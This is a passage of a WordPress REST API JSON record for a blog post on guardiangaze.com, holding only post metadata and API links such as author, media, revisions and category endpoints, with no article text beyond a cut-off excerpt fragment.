mobile,&hellip;<\/p>\n","protected":false},"author":1,"featured_media":114,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-111","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-blog"],"_links":{"self":[{"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/posts\/111","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/comments?post=111"}],"version-history":[{"count":1,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/posts\/111\/revisions"}],"predecessor-version":[{"id":113,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/posts\/111\/revisions\/113"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/media\/114"}],"wp:attachment":[{"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/media?parent=111"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/categories?post=111"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.guardiangaze.com\/blog\/wp-json\/wp\/v2\/tags?post=111"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}